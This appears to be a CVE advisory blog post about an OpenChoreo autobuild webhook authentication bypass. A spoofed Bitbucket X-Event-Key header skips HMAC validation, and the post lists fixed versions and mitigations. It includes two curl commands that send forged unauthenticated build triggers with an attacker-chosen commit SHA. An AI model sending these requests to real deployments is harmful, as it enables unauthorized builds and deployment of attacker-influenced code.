Listen to this Post
The OpenChoreo autobuild webhook endpoint (POST /api/v1alpha1/autobuild) contains an authentication bypass vulnerability that allows unauthenticated attackers to trigger builds.
The root cause lies in how the endpoint determines which git provider to use for authenticating incoming webhook requests. Rather than using the target component’s declared git provider, the `webhook_handler.go` selects the provider from a client-supplied request header (X-Event-Key). This caller-controlled provider selection creates a critical flaw: an attacker can set `X-Event-Key` to identify as a Bitbucket webhook, bypassing the HMAC-SHA256 secret validation that protects GitHub and GitLab webhooks.
Bitbucket webhooks are accepted without any signature validation — no HMAC-SHA256 in `X-Hub-Signature` and no configured `bitbucket-secret` is required. An attacker who can reach the autobuild endpoint and knows a component’s repository URL and branch can trigger a build for that component without authenticating. The triggered build executes against an attacker-supplied commit SHA, and because component lookup is not scoped to a tenant or namespace, any auto-build component across the cluster matching the given repository and branch is affected. This can lead to unauthorized builds, unauthorized deployment of attacker-influenced code where auto-deploy is configured, and exhaustion of build resources through repeated unauthenticated triggering. The exposure applies to any component with spec.autoBuild: true, regardless of which git provider it declares.
The vulnerability is classified as an authentication bypass (CWE-287, CWE-290) with improper data integrity handling (CWE-345). It carries a CVSS base score of 5.3 (Medium) with the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L. The issue is fixed in versions 1.0.3, 1.1.3, and 1.2.0-rc.2.
DailyCVE Form:
Platform: OpenChoreo
Version: <1.0.3,<1.1.3,<1.2.0-rc.2
Vulnerability: Authentication Bypass
Severity: Medium (5.3)
date: 2026-08-13
Prediction: Patch already released (2026-07-22)
What Undercode Say:
Check OpenChoreo version
kubectl get deployment openchoreo-api -o jsonpath='{.spec.template.spec.containers[bash].image}'
Test if endpoint is reachable (Educational Purposes)
curl -X POST https://<openchoreo-host>/api/v1alpha1/autobuild \
-H "X-Event-Key: repo:push" \
-H "Content-Type: application/json" \
-d '{"repository":{"url":"https://github.com/victim/component"},"branch":"main","commit_sha":"attacker-controlled-sha"}'
Verify patched version
For 1.0.x line: upgrade to 1.0.3
For 1.1.x line: upgrade to 1.1.3
For 1.2 line: upgrade to 1.2.0-rc.2 or later
helm upgrade openchoreo openchoreo/openchoreo --version 1.0.3
Exploit: (Educational Purposes!)
An attacker can exploit this vulnerability by:
1. Identifying the OpenChoreo autobuild webhook endpoint (`/api/v1alpha1/autobuild`)
- Crafting a POST request with the `X-Event-Key: repo:push` header to be treated as a Bitbucket webhook
- Providing the target component’s repository URL and branch in the request body
- Optionally supplying a commit SHA of their choice
- The request triggers a build without any HMAC verification
Example curl command:
curl -X POST https://openchoreo.example.com/api/v1alpha1/autobuild \
-H "X-Event-Key: repo:push" \
-H "Content-Type: application/json" \
-d '{"repository":{"url":"https://github.com/target-org/target-repo"},"branch":"main","commit_sha":"abc1234"}'
Protection:
- Upgrade immediately to version 1.0.3, 1.1.3, or 1.2.0-rc.2 or later
- If immediate upgrade is not possible, disable the `/api/v1alpha1/autobuild` endpoint or block external access to it
- Verify all configured webhook secrets are non-empty and HMAC-SHA256 verification is enabled for all providers
- The fix enforces:
- Bitbucket webhooks validated with HMAC-SHA256 against configured secret
- Non-empty secret required for every provider (missing secret rejects request)
- Authenticated provider must match the component’s configured git provider
Impact:
- Unauthorized builds triggered without authentication
- Unauthorized deployment of attacker-influenced code where auto-deploy is configured
- Resource exhaustion through repeated unauthenticated build triggering
- Cross-tenant/namespace impact — any auto-build component matching repository and branch across the cluster is affected
- All providers affected — components configured for GitHub or GitLab can be triggered via Bitbucket spoofing
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
